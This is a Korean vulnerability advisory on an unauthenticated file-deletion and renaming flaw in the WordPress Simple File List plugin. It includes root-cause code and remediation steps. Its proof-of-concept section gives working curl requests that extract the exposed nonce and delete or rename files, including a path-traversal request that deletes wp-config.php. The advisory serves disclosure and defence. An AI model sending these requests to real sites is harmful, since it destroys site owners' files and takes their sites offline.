CVE-2026-11912: Simple File List <= 6.3.7 - 인증 누출로 인한 인증되지 않은 파일 수정

요약

취약점 세부 사항

설명

WordPress용 Simple File List 플러그인은 6.3.7 이하 모든 버전에서 부적절한 인증 검사로 인해 임의 파일 수정이 가능한 취약점을 가지고 있습니다. 이로 인해 인증되지 않은 공격자가 서버의 파일을 삭제하고 수정할 수 있습니다.

근본 원인 분석

취약점은 다음과 같은 이유로 발생합니다:

1. AJAX 엔드포인트 등록: simplefilelist_edit_job AJAX 액션이 wp_ajax_ 및 wp_ajax_nopriv_ 후크에 모두 등록되어 인증되지 않은 접근을 허용합니다:

   root@kitploit:~

   add_action('wp_ajax_simplefilelist_edit_job', 'simplefilelist_edit_job');
   add_action('wp_ajax_nopriv_simplefilelist_edit_job', 'simplefilelist_edit_job');
   

2. 결함이 있는 인증 검사: eeSFL_FileEditor() (1265행)의 인증 로직은 다음을 사용합니다:

   root@kitploit:~

   if(!is_admin() AND $eeSFL->eeListSettings['AllowFrontManage'] != 'YES') {
       return;
   }
   

   is_admin() 함수는 AJAX 요청에 대해 FALSE를 반환하므로 AllowFrontManage 설정이 평가되기 전에 인증 검사가 조기 종료됩니다.

3. 논스 노출: 보안 논스(eeSFL_ActionNonce)는 wp_create_nonce()를 사용하여 생성되며 프런트엔드 HTML 소스 코드에 노출되어 공격자가 인증 없이 이를 추출할 수 있습니다.

영향 평가

기밀성 영향: 높음

• 파일 내용을 파일 목록을 통해 읽을 수 있음
• 파일 메타데이터 노출 (이름, 크기, 날짜)

무결성 영향: 높음 (심각)

• 인증되지 않은 파일 삭제
• 인증되지 않은 파일 이름 변경
• 인증되지 않은 파일 설명 수정
• 경로 탐색을 통한 중요 파일 삭제 가능 (wp-config.php 포함)

가용성 영향: 없음

• 파일 작업이 직접적으로 DoS를 유발하지는 않지만, 파일 삭제를 통해 간접적으로 가용성에 영향을 줄 수 있음

실제 환경에서의 악용 입증

테스트 중 이 취약점을 사용하여 WordPress 설정 파일(wp-config.php)을 성공적으로 삭제하여 사이트를 완전히 손상시켰습니다. 이는 이 취약점의 경로 탐색 측면이 얼마나 심각한지를 보여줍니다.

PoC 악용 단계

1단계: 프런트엔드에서 논스 추출

# 파일 목록 페이지에서 보안 논스 가져오기
curl -k -sL "https://poloss-lab.ddev.site/file-list/" | grep -o 'eeSFL_ActionNonce">[^<]*'
# 출력: eeSFL_ActionNonce">1c14af78c2

2단계: 인증되지 않은 파일 삭제

curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
  -d "action=simplefilelist_edit_job" \
  -d "eeSecurity=1c14af78c2" \
  -d "eeSFL_ID=1" \
  -d "eeFileAction=Delete" \
  -d "eeFileName=test.txt"
# 응답: SUCCESS

3단계: 인증되지 않은 파일 이름 변경

curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
  -d "action=simplefilelist_edit_job" \
  -d "eeSecurity=1c14af78c2" \
  -d "eeSFL_ID=1" \
  -d "eeFileAction=Edit" \
  -d "eeFileName=original.pdf" \
  -d "eeFileNameNew=malicious.pdf"
# 응답: SUCCESS

4단계: 경로 탐색 (심각 - wp-config.php 삭제)

curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
  -d "action=simplefilelist_edit_job" \
  -d "eeSecurity=1c14af78c2" \
  -d "eeSFL_ID=1" \
  -d "eeFileAction=Delete" \
  -d "eeFileName=../../wp-config.php"
# 응답: SUCCESS (심각 - 사이트를 손상시킵니다!)

해결 방법

즉시 조치

1. 플러그인 업데이트: Simple File List 버전 6.3.8 이상으로 업그레이드
2. 손상 확인: 파일 시스템 감사를 통한 무단 수정 여부 확인
3. 백업 복원: wp-config.php가 영향을 받은 경우 백업에서 복원

임시 완화 조치 (즉시 업데이트가 불가능한 경우)

1. 패치될 때까지 Simple File List 플러그인 비활성화
2. [eeSFL] 단축 코드가 포함된 모든 페이지 제거
3. 의심스러운 AJAX 요청을 차단하는 WAF 규칙 구현:
   root@kitploit:~

   # simplefilelist_edit_job AJAX 호출 차단
   <IfModule mod_rewrite.c>
       RewriteEngine On
       RewriteCond %{QUERY_STRING} action=simplefilelist_edit_job
       RewriteRule ^wp-admin/admin-ajax\.php$ - [F,L]
   </IfModule>
   

장기 권장 사항

• 요청 출처 검증 구현 (CSRF 보호)
• 모든 파일 작업에 권한 검사 추가
• AJAX 엔드포인트 속도 제한
• 의심스러운 파일 작업 로그 모니터링

참고 자료

• Wordfence Intelligence
• Simple File List 플러그인 페이지
• 플러그인 SVN Trunk

테스트 환경

• 실험실: DDEV poloss-lab
• URL: https://poloss-lab.ddev.site
• 테스트한 플러그인 버전: 6.3.7
• WordPress 버전: 최신 (PHP 8.4)

Claude Code - WordPress 보안 테스트 연구소에서 생성된 보고서 날짜: 2026년 6월 20일